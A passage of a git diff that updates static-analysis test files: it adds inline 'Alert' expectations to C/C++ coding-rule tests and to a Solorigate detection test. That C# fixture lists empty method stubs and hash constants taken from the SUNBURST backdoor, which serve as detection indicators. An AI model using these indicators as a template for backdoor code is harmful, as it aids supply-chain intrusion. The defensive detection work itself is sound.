b/cpp/ql/test/query-tests/jsf/4.24 Control Flow Structures/AV Rule 193/AV Rule 193.c @@ -7,7 +7,7 @@ void m(enum color value) { switch(value) { case red: // compliant case green: // compliant - case blue: // non-compliant + case blue: // non-compliant // $ Alert f(value); case cyan: // compliant case magenta: // compliant @@ -33,7 +33,7 @@ void m(enum color value) { case green: // COMPLIANT f(value); break; - default: // NON-COMPLIANT + default: // NON-COMPLIANT // $ Alert g(value); case cyan: // COMPLIANT g(value); diff --git a/cpp/ql/test/query-tests/jsf/4.24 Control Flow Structures/AV Rule 193/AV Rule 193.qlref b/cpp/ql/test/query-tests/jsf/4.24 Control Flow Structures/AV Rule 193/AV Rule 193.qlref index ee2fb8681614..6fb2579f4d37 100644 --- a/cpp/ql/test/query-tests/jsf/4.24 Control Flow Structures/AV Rule 193/AV Rule 193.qlref +++ b/cpp/ql/test/query-tests/jsf/4.24 Control Flow Structures/AV Rule 193/AV Rule 193.qlref @@ -1 +1,2 @@ -jsf/4.24 Control Flow Structures/AV Rule 193.ql +query: jsf/4.24 Control Flow Structures/AV Rule 193.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/jsf/4.24 Control Flow Structures/AV Rule 193/nested.c b/cpp/ql/test/query-tests/jsf/4.24 Control Flow Structures/AV Rule 193/nested.c index ae2ea4e9c8fe..2a2d79d3a54f 100644 --- a/cpp/ql/test/query-tests/jsf/4.24 Control Flow Structures/AV Rule 193/nested.c +++ b/cpp/ql/test/query-tests/jsf/4.24 Control Flow Structures/AV Rule 193/nested.c @@ -17,12 +17,12 @@ void nested1(int i) { void nested2(int i) { switch (i) { - case 1: + case 1: // $ Alert i = 1; break; { ; ; ; ; ; ; ; - default: + default: // $ Alert i = 3; } case 2: diff --git a/cpp/ql/test/query-tests/jsf/4.24 Control Flow Structures/AV Rule 193/test.c b/cpp/ql/test/query-tests/jsf/4.24 Control Flow Structures/AV Rule 193/test.c index 9cee970ddf11..3f9fe567a539 100644 --- a/cpp/ql/test/query-tests/jsf/4.24 Control Flow Structures/AV Rule 193/test.c +++ b/cpp/ql/test/query-tests/jsf/4.24 Control Flow Structures/AV Rule 193/test.c @@ -3,7 +3,7 @@ void f1(int i) { switch(i) { case 1: case 2: - case 3: + case 3: // $ Alert i = 3; // Bad case 4: case 5: @@ -24,14 +24,14 @@ void f2(int i) { switch(i) { case 1: case 2: - case 3: + case 3: // $ Alert i = 3; // Bad case 4: case 5: case 6: i = 6; break; // OK: has break - default: + default: // $ Alert i = 10; // Bad: default not at end case 7: case 8: @@ -45,7 +45,7 @@ void f3(int i) { switch(i) { case 1: case 2: - case 3: + case 3: // $ Alert i = 3; // Bad case 4: case 5: @@ -59,7 +59,7 @@ void f3(int i) { return; // OK: has return case 10: case 11: - case 12: + case 12: // $ Alert i = 12; // Bad } } @@ -68,7 +68,7 @@ void f4(int i) { switch(i) { case 1: case 2: - case 3: + case 3: // $ Alert { i = 3; // Bad } diff --git a/cpp/ql/test/query-tests/jsf/4.24 Control Flow Structures/AV Rule 196/AV Rule 196.c b/cpp/ql/test/query-tests/jsf/4.24 Control Flow Structures/AV Rule 196/AV Rule 196.c index 85a29ed21ba3..d401c9aa170a 100644 --- a/cpp/ql/test/query-tests/jsf/4.24 Control Flow Structures/AV Rule 196/AV Rule 196.c +++ b/cpp/ql/test/query-tests/jsf/4.24 Control Flow Structures/AV Rule 196/AV Rule 196.c @@ -1,19 +1,19 @@ static void f(int x) { switch(x) { - } + } // $ Alert switch(x) { default:; - } + } // $ Alert switch(x) { case 0:; - } + } // $ Alert switch(x) { default: case 0:; - } + } // $ Alert switch(x) { case 0:; diff --git a/cpp/ql/test/query-tests/jsf/4.24 Control Flow Structures/AV Rule 196/AV Rule 196.qlref b/cpp/ql/test/query-tests/jsf/4.24 Control Flow Structures/AV Rule 196/AV Rule 196.qlref index 6a4f71e8e16d..1b51ce65ee6a 100644 --- a/cpp/ql/test/query-tests/jsf/4.24 Control Flow Structures/AV Rule 196/AV Rule 196.qlref +++ b/cpp/ql/test/query-tests/jsf/4.24 Control Flow Structures/AV Rule 196/AV Rule 196.qlref @@ -1 +1,2 @@ -jsf/4.24 Control Flow Structures/AV Rule 196.ql +query: jsf/4.24 Control Flow Structures/AV Rule 196.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/jsf/4.24 Control Flow Structures/AV Rule 201/AV Rule 201.c b/cpp/ql/test/query-tests/jsf/4.24 Control Flow Structures/AV Rule 201/AV Rule 201.c index b106f648aaa5..b5c1309c07ea 100644 --- a/cpp/ql/test/query-tests/jsf/4.24 Control Flow Structures/AV Rule 201/AV Rule 201.c +++ b/cpp/ql/test/query-tests/jsf/4.24 Control Flow Structures/AV Rule 201/AV Rule 201.c @@ -10,14 +10,14 @@ int main() j = 0; for (i = 0; i < 10; i++) { - i = 10; // BAD (for loop variable changed in body) + i = 10; // BAD (for loop variable changed in body) // $ Alert[cpp/loop-variable-changed] j = 10; } // nested loops for (i = 0; i < 10; i++) { - for (i = 0; i < 10; i++) // BAD (nested loops with same variable) + for (i = 0; i < 10; i++) // BAD (nested loops with same variable) // $ Alert[cpp/nested-loops-with-same-variable] { // ... } @@ -26,12 +26,12 @@ int main() { for (j = 0; j < 10; j++) { - i++; // BAD (for loop variable changed in body) - j++; // BAD (for loop variable changed in body) + i++; // BAD (for loop variable changed in body) // $ Alert[cpp/loop-variable-changed] + j++; // BAD (for loop variable changed in body) // $ Alert[cpp/loop-variable-changed] k++; } - for (i = 0; i < 10; i++) // BAD (nested loops with same variable) + for (i = 0; i < 10; i++) // BAD (nested loops with same variable) // $ Alert[cpp/nested-loops-with-same-variable] { j++; } @@ -40,7 +40,7 @@ int main() { for (j = 0; j < 10; j++) { - for (i = 0; i < 10; i++) // BAD (nested loops with same variable) + for (i = 0; i < 10; i++) // BAD (nested loops with same variable) // $ Alert[cpp/nested-loops-with-same-variable] { // ... } @@ -50,9 +50,9 @@ int main() { for (j = 0; j < 10; j++) { - for (j = 0; j < 10; j++) // BAD (nested loops with same variable) + for (j = 0; j < 10; j++) // BAD (nested loops with same variable) // $ Alert[cpp/nested-loops-with-same-variable] { - j++; // BAD (for loop variable changed in body) + j++; // BAD (for loop variable changed in body) // $ Alert[cpp/loop-variable-changed] } } } @@ -62,17 +62,17 @@ int main() { c = *char_ptr; *char_ptr += 1; - char_ptr += 1; // BAD (for loop variable changed in body) + char_ptr += 1; // BAD (for loop variable changed in body) // $ Alert[cpp/loop-variable-changed] } // more nested loops for (i = 0; i < 10; i++) { - for (j = 0; j < 10; i++) // BAD (for loop variable changed in body) + for (j = 0; j < 10; i++) // BAD (for loop variable changed in body) // $ Alert[cpp/loop-variable-changed] { } - for (i = 0; j < 10; j++) // BAD (for loop variable changed in body) + for (i = 0; j < 10; j++) // BAD (for loop variable changed in body) // $ Alert[cpp/loop-variable-changed] { } } diff --git a/cpp/ql/test/query-tests/jsf/4.24 Control Flow Structures/AV Rule 201/AV Rule 201.qlref b/cpp/ql/test/query-tests/jsf/4.24 Control Flow Structures/AV Rule 201/AV Rule 201.qlref index f972ec2b8b84..95b0090d38d1 100644 --- a/cpp/ql/test/query-tests/jsf/4.24 Control Flow Structures/AV Rule 201/AV Rule 201.qlref +++ b/cpp/ql/test/query-tests/jsf/4.24 Control Flow Structures/AV Rule 201/AV Rule 201.qlref @@ -1 +1,2 @@ -jsf/4.24 Control Flow Structures/AV Rule 201.ql +query: jsf/4.24 Control Flow Structures/AV Rule 201.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/jsf/4.24 Control Flow Structures/AV Rule 201/NestedLoopSameVar.qlref b/cpp/ql/test/query-tests/jsf/4.24 Control Flow Structures/AV Rule 201/NestedLoopSameVar.qlref index 699de5e67d17..3a75252c4109 100644 --- a/cpp/ql/test/query-tests/jsf/4.24 Control Flow Structures/AV Rule 201/NestedLoopSameVar.qlref +++ b/cpp/ql/test/query-tests/jsf/4.24 Control Flow Structures/AV Rule 201/NestedLoopSameVar.qlref @@ -1 +1,2 @@ -Likely Bugs/NestedLoopSameVar.ql +query: Likely Bugs/NestedLoopSameVar.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/jsf/4.24 Control Flow Structures/AV Rule 201/StructMembers.cpp b/cpp/ql/test/query-tests/jsf/4.24 Control Flow Structures/AV Rule 201/StructMembers.cpp index ef9f5ac51d8d..62e7cbe1c409 100644 --- a/cpp/ql/test/query-tests/jsf/4.24 Control Flow Structures/AV Rule 201/StructMembers.cpp +++ b/cpp/ql/test/query-tests/jsf/4.24 Control Flow Structures/AV Rule 201/StructMembers.cpp @@ -18,12 +18,12 @@ int main() { } - for (s1.b = 0; s1.b < 10; s1.b++) // BAD: same loop variable as a surrounding loop + for (s1.b = 0; s1.b < 10; s1.b++) // BAD: same loop variable as a surrounding loop // $ Alert[cpp/nested-loops-with-same-variable] { } s2.b++; // GOOD - s1.b++; // BAD: modifies loop counter of a surrounding loop + s1.b++; // BAD: modifies loop counter of a surrounding loop // $ Alert[cpp/loop-variable-changed] } } } diff --git a/cpp/ql/test/query-tests/jsf/4.28 Portable Code/AV Rule 210/AV Rule 210.c b/cpp/ql/test/query-tests/jsf/4.28 Portable Code/AV Rule 210/AV Rule 210.c index 57f5432c7024..76a5c0fdf6af 100644 --- a/cpp/ql/test/query-tests/jsf/4.28 Portable Code/AV Rule 210/AV Rule 210.c +++ b/cpp/ql/test/query-tests/jsf/4.28 Portable Code/AV Rule 210/AV Rule 210.c @@ -1,5 +1,5 @@ -union myUnion1 { // BAD +union myUnion1 { // BAD // $ Alert int asInt; char asChar[4]; }; @@ -16,17 +16,17 @@ union myUnion3 { // GOOD void test1(int *myIntPtr) { - short *myShortPtr = (short *)myIntPtr; // BAD - long long *myLongPtr = (long long *)myIntPtr; // BAD + short *myShortPtr = (short *)myIntPtr; // BAD // $ Alert + long long *myLongPtr = (long long *)myIntPtr; // BAD // $ Alert int myArray[10]; myIntPtr = (int *)myArray; // GOOD - myShortPtr = (short *)myArray; // BAD [BUT DOUBLY REPORTED] + myShortPtr = (short *)myArray; // BAD [BUT DOUBLY REPORTED] // $ Alert return 0; } -union myUnion4 { // GOOD? [FALSE POSITIVE] +union myUnion4 { // GOOD? [FALSE POSITIVE] // $ Alert char myChar; int myInt; }; diff --git a/cpp/ql/test/query-tests/jsf/4.28 Portable Code/AV Rule 210/AV Rule 210.qlref b/cpp/ql/test/query-tests/jsf/4.28 Portable Code/AV Rule 210/AV Rule 210.qlref index 093bf9f081e5..fe56120cad85 100644 --- a/cpp/ql/test/query-tests/jsf/4.28 Portable Code/AV Rule 210/AV Rule 210.qlref +++ b/cpp/ql/test/query-tests/jsf/4.28 Portable Code/AV Rule 210/AV Rule 210.qlref @@ -1 +1,2 @@ -jsf/4.28 Portable Code/AV Rule 210.ql +query: jsf/4.28 Portable Code/AV Rule 210.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/campaigns/Solorigate/test/Solorigate/ModifiedFnvFunctionDetection.qlref b/csharp/ql/campaigns/Solorigate/test/Solorigate/ModifiedFnvFunctionDetection.qlref index 0bfdf5905b36..d861fc929b23 100644 --- a/csharp/ql/campaigns/Solorigate/test/Solorigate/ModifiedFnvFunctionDetection.qlref +++ b/csharp/ql/campaigns/Solorigate/test/Solorigate/ModifiedFnvFunctionDetection.qlref @@ -1 +1,2 @@ -ModifiedFnvFunctionDetection.ql +query: ModifiedFnvFunctionDetection.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/campaigns/Solorigate/test/Solorigate/NumberOfKnownCommandsAboveThreshold.qlref b/csharp/ql/campaigns/Solorigate/test/Solorigate/NumberOfKnownCommandsAboveThreshold.qlref index 61c6c1e04a80..6854e44501fe 100644 --- a/csharp/ql/campaigns/Solorigate/test/Solorigate/NumberOfKnownCommandsAboveThreshold.qlref +++ b/csharp/ql/campaigns/Solorigate/test/Solorigate/NumberOfKnownCommandsAboveThreshold.qlref @@ -1 +1,2 @@ -NumberOfKnownCommandsAboveThreshold.ql +query: NumberOfKnownCommandsAboveThreshold.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/campaigns/Solorigate/test/Solorigate/NumberOfKnownHashesAboveThreshold.qlref b/csharp/ql/campaigns/Solorigate/test/Solorigate/NumberOfKnownHashesAboveThreshold.qlref index 718d6c67048c..a66d6d55d198 100644 --- a/csharp/ql/campaigns/Solorigate/test/Solorigate/NumberOfKnownHashesAboveThreshold.qlref +++ b/csharp/ql/campaigns/Solorigate/test/Solorigate/NumberOfKnownHashesAboveThreshold.qlref @@ -1 +1,2 @@ -NumberOfKnownHashesAboveThreshold.ql +query: NumberOfKnownHashesAboveThreshold.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/campaigns/Solorigate/test/Solorigate/NumberOfKnownLiteralsAboveThreshold.qlref b/csharp/ql/campaigns/Solorigate/test/Solorigate/NumberOfKnownLiteralsAboveThreshold.qlref index e17b18d08ae5..38b9897d0685 100644 --- a/csharp/ql/campaigns/Solorigate/test/Solorigate/NumberOfKnownLiteralsAboveThreshold.qlref +++ b/csharp/ql/campaigns/Solorigate/test/Solorigate/NumberOfKnownLiteralsAboveThreshold.qlref @@ -1 +1,2 @@ -NumberOfKnownLiteralsAboveThreshold.ql +query: NumberOfKnownLiteralsAboveThreshold.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/campaigns/Solorigate/test/Solorigate/NumberOfKnownMethodNamesAboveThreshold.qlref b/csharp/ql/campaigns/Solorigate/test/Solorigate/NumberOfKnownMethodNamesAboveThreshold.qlref index 747fb006e437..7f5e000495e2 100644 --- a/csharp/ql/campaigns/Solorigate/test/Solorigate/NumberOfKnownMethodNamesAboveThreshold.qlref +++ b/csharp/ql/campaigns/Solorigate/test/Solorigate/NumberOfKnownMethodNamesAboveThreshold.qlref @@ -1 +1,2 @@ -NumberOfKnownMethodNamesAboveThreshold.ql +query: NumberOfKnownMethodNamesAboveThreshold.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/campaigns/Solorigate/test/Solorigate/SwallowEverythingExceptionHandler.qlref b/csharp/ql/campaigns/Solorigate/test/Solorigate/SwallowEverythingExceptionHandler.qlref index 538eee55bf20..e49d40d16e12 100644 --- a/csharp/ql/campaigns/Solorigate/test/Solorigate/SwallowEverythingExceptionHandler.qlref +++ b/csharp/ql/campaigns/Solorigate/test/Solorigate/SwallowEverythingExceptionHandler.qlref @@ -1 +1,2 @@ -SwallowEverythingExceptionHandler.ql +query: SwallowEverythingExceptionHandler.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/campaigns/Solorigate/test/Solorigate/test.cs b/csharp/ql/campaigns/Solorigate/test/Solorigate/test.cs index 8680d8346940..cc4ad9eb3556 100644 --- a/csharp/ql/campaigns/Solorigate/test/Solorigate/test.cs +++ b/csharp/ql/campaigns/Solorigate/test/Solorigate/test.cs @@ -6,12 +6,12 @@ class FalsePositiveCases // regular FVN ulong GetRegularFvnHash(string s) { - ulong num = 14695981039346656037UL; /* FNV base offset */ + ulong num = 14695981039346656037UL; /* FNV base offset */ // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] foreach (byte b in Encoding.UTF8.GetBytes(s)) { num ^= (ulong)b; - num *= 1099511628211UL; /* FNV prime */ + num *= 1099511628211UL; /* FNV prime */ // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] } return num; @@ -22,24 +22,24 @@ class TestCases { ulong GetRegularFvnHash(string s) { - ulong num = 14695981039346656037UL; + ulong num = 14695981039346656037UL; // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] try { foreach (byte b in Encoding.UTF8.GetBytes(s)) { num ^= (ulong)b; - num *= 1099511628211UL; + num *= 1099511628211UL; // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] } } catch // BUG : SwallowEverythingExceptionHandler { - } + } // $ Alert[cs/solorigate/swallow-everything-exception] - return num ^ 6605813339339102567UL; // BUG (ModifiedFnvFunctionDetection.ql) + return num ^ 6605813339339102567UL; // BUG (ModifiedFnvFunctionDetection.ql) // $ Alert[cs/solorigate/modified-fnv-function-detection] Alert[cs/solorigate/number-of-known-hashes-above-threshold] } - enum JobEngine + enum JobEngine // $ Alert[cs/solorigate/number-of-known-commands-in-enum-above-threshold] { Idle, Exit, @@ -62,220 +62,220 @@ enum JobEngine None } - void Abort() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void AddFileExecutionEngine() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void AddRegistryExecutionEngine() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void AdjustTokenPrivileges() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void Base64Decode() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void Base64Encode() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void ByteArrayToHexString() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void CheckServerConnection() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void Close() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void CloseHandle() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void CollectSystemDescription() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void Compress() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void CreateSecureString() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void CreateString() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void CreateUploadRequest() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void CreateUploadRequestImpl() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void Decompress() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void DecryptShort() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void Deflate() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void DelayMin() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void DelayMs() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void DeleteFile() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void DeleteRegistryValue() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void DeleteValue() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void ExecuteEngine() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void FileExists() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void GetAddresses() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void GetAddressFamily() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void GetArgumentIndex() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void GetBaseUri() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void GetBaseUriImpl() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void GetCache() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void GetCurrentProcess() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void GetCurrentString() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void GetDescriptionId() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void GetFileHash() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void GetFileSystemEntries() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void GetHash() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void GetHive() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void GetIntArray() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void GetIPHostEntry() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void GetManagementObjectProperty() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void GetNetworkAdapterConfiguration() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void GetNewOwnerName() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void GetNextString() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void GetNextStringEx() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void GetOrCreateUserID() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void GetOrionImprovementCustomerId() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void GetOSVersion() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void GetPreviousString() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void GetProcessByDescription() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void GetRegistrySubKeyAndValueNames() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void GetStatus() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void GetStringHash() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void GetSubKeyAndValueNames() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void GetUserAgent() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void GetValue() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void GetWebProxy() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void HexStringToByteArray() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void Inflate() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void Initialize() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void InitiateSystemShutdownExW() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void IsNullOrInvalidName() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void IsSynchronized() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void KillTask() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void LookupPrivilegeValueW() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void OpenProcessToken() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void ParseServiceResponse() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void Quote() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void ReadConfig() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void ReadDeviceInfo() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void ReadRegistryValue() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void ReadReportStatus() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void ReadServiceStatus() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void RebootComputer() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void RunTask() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void SearchAssemblies() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void SearchConfigurations() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void SearchServices() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void SetAutomaticMode() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void SetKeyOwner() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void SetKeyOwnerWithPrivileges() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void SetKeyPermissions() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void SetManualMode() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void SetProcessPrivilege() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void SetRegistryValue() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void SetTime() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void SetValue() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void SplitString() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void ToString() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void TrackEvent() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void TrackProcesses() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void Unquote() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void Unzip() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void Update() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void UpdateBuffer() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void UpdateNotification() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void UploadSystemDescription() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void Valid() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void WriteConfig() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void WriteFile() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void WriteReportStatus() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void WriteServiceStatus() { } // BUG : NumberOfKnownMethodNamesAboveThreshold - void Zip() { } // BUG : NumberOfKnownMethodNamesAboveThreshold + void Abort() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void AddFileExecutionEngine() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void AddRegistryExecutionEngine() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void AdjustTokenPrivileges() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void Base64Decode() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void Base64Encode() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void ByteArrayToHexString() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void CheckServerConnection() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void Close() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void CloseHandle() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void CollectSystemDescription() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void Compress() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void CreateSecureString() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void CreateString() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void CreateUploadRequest() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void CreateUploadRequestImpl() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void Decompress() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void DecryptShort() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void Deflate() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void DelayMin() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void DelayMs() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void DeleteFile() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void DeleteRegistryValue() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void DeleteValue() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void ExecuteEngine() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void FileExists() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void GetAddresses() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void GetAddressFamily() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void GetArgumentIndex() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void GetBaseUri() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void GetBaseUriImpl() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void GetCache() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void GetCurrentProcess() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void GetCurrentString() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void GetDescriptionId() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void GetFileHash() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void GetFileSystemEntries() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void GetHash() { } // BUG : NumberOfKnownMethodNamesAboveThreshold // $ Alert[cs/solorigate/number-of-known-method-names-above-threshold] + void GetHive() { } // BUG : 